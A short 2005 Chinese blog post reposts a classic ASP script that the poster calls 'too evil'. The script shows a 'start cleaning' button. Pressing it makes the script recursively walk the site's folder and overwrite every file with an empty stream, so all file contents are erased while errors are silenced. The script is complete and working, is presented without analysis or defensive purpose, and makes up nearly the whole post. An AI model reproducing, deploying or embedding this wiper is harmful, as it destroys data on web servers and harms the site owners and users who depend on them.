2005/09/26 | 转一个无聊的东东,太黑了。
类别(网页类学习笔记) | 评论(0) | 阅读(115) | 发表于 01:13
<%
Server.ScriptTimeout=99999
If Request("Submit")<>"" Then
Call ListFile(Server.mappath("./"))
Response.write"清理完毕"
Else
Response.write"<form><input type=""submit"" name=""Submit"" value=""开始清理""></form>"
End If
Function ListFile(fpath)
On Error Resume Next
Dim Shell,Folder,s
Set Shell =Server.CreateObject ("Shell.Application")
Set Folder =Shell.Namespace(fpath)
Set f=Server.CreateObject("Adodb.Stream")
f.Type=1
f.Open
For Each s in Folder.Items
IF s.isfolder Then
Call ListFile(s.path)
Else
f.SaveToFile s.path,2
End if
Next
Set f=Nothing
Set Shell=nothing
End function
%>
0

评论Comments